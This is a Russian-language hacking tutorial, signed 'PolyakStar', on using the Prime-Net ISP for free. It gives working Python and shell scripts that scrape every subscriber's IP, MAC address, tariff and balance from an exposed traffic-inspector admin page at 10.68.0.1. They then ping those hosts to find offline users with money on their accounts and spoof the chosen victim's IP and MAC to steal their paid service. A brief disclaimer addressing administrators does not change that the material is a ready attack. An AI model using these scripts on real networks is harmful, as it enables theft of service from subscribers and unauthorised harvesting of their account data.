Как поюзать Prime-NET нахаляву

Сия статья адресована в первую очередь администраторам Prime-Net.
Использование нижеприведенного материала в других целях черевато статьей УК.
Для начала пишем и запускаем скриптик, который выгребает всю информацию о юзерах прайма с web-сервера, любезно предоставляемую траффик-инспектором:
и запускаем его:
$ python prime.py
# This Python file uses the following encoding: utf-8
import os
import string
import httplib
import urllib


hostname="10.68.0.1"

com="wget -O - http://"+hostname+"/admin"

temp=os.popen(com)
msg=temp.read()
# читаем построчно ответ сервера
mystr="### | IP  адрес  |  MAC адрес   |   Оплата    |    SPEED     | Баланс  |\n"
output = open("log.txt", 'w')
output.write(mystr)
output.close()
cur_num=1
#в цикле выбераем список юзеров
while string.find(msg,"<option value=\"{",cur_num) > 0:
        index=string.find(msg,"<option value=\"{",cur_num)
        index2=string.find(msg,"}\">",cur_num)
        index3=string.find(msg,"</option>",cur_num+1)
        user_id=str(msg[index+16:index2])
        user_name=str(msg[index2+3:index3])
        # теперь каждому юзеру генерим GET-запрос.
        com2="wget -O - http://10.68.0.1/admin/?guid=%7B"+user_id+"%7D"
        temp2=os.popen(com2)
        msg2=temp2.read()
        # ниже парсим ответ по каждому юзеру.
        index_IP=string.find(msg2,"IP адрес")
        index_IP2=string.find(msg2,"</td>",index_IP+45)
        user_IP=str(msg2[index_IP+45:index_IP2])

        index_MAC=string.find(msg2,"MAC")
        user_MAC=str(msg2[index_MAC+35:index_MAC+47])

        index_TD=string.find(msg2,"Трафик</td><td class=")
        index_TD2=string.find(msg2,"</td>",index_TD+43)
        user_TD=str(msg2[index_TD+43:index_TD2])

        index_D=string.find(msg2,"Ограничение скорости на прием")
        index_D2=string.find(msg2,"</td>",index_D+87)
        user_D=str(msg2[index_D+87:index_D2])

        index_B=string.find(msg2,"Баланс")
        index_B2=string.find(msg2,"</td>",index_B+43)
        user_B=str(msg2[index_B+43:index_B2])
        # нас интересуют юзеры с авторизацией по MAC, и имеющие не нулевой баланс )). остальная инфа - для полноты картины
        if index_MAC >0 and index_D >0 and str(user_B[0:1])!="-":
                mystr="### |"+str(user_IP)+" | "+str(user_MAC)+" | "+str(user_TD)+" | "+str(user_D)+" | "+str(user_B)+" |\n"
                output = open("log.txt", 'a')
                # результат записываем в файл
                output.write(mystr)
                output.close()

        cur_num=index3
Мы получили всю необходимую нам инфу. можно ее посмотреть:
$ cat log.txt
Дальше пингуем хосты чтобы выбрать из них тех, кто сейчас не в сети. для этого еще один скриптик:
$ python pingprime.py
# This Python file uses the following encoding: utf-8
import os
import string
# собственно говоря тут и пояснять нечего. пингуем
Filehandle =open ("log.txt", 'r')
count = 0
ae=str(Filehandle.readline())
print str(ae[0:len(ae)-1])
while len(ae)>0:
        ae=str(Filehandle.readline())
        index=string.find(ae,"|",6)
        hostname=str(ae[5:index])
        com="if (ping -c3 "+hostname+" > /dev/null 2> /dev/null) then echo 'ON';else echo 'OFF';fi"
        temp=os.popen(com)
        msg=temp.read()
        # и в вывод тех кто оффлайн 8)))
        if msg[0:len(msg)-1]=="OFF":
                print str(ae[0:len(ae)-1])+msg[0:len(msg)-1]
Получили в выводе на консоль список хостов и информации о них, которые можно смело юзать! )))
выбираем тот который нам понравился, и меняем свой IP и MAC на нужный.
для упрощения еще один скриптик (надо выполнять от root)
$ /bin/sh ipmac.sh 10.68.x.x xxxxxxxxxxxx 255.0.0.0
где 0.68.x.x - нужный нам IP, xxxxxxxxxxxx- MAC-адрес
сам скрипт ipmac.sh приведен ниже
#!/bin/sh
ifconfig eth0 down
ifconfig eth0 hw ether $2
ifconfig eth0 $1 netmask $3 up
ifconfig eth0
route add default gw 10.68.0.1

maked by PolyakStar(c)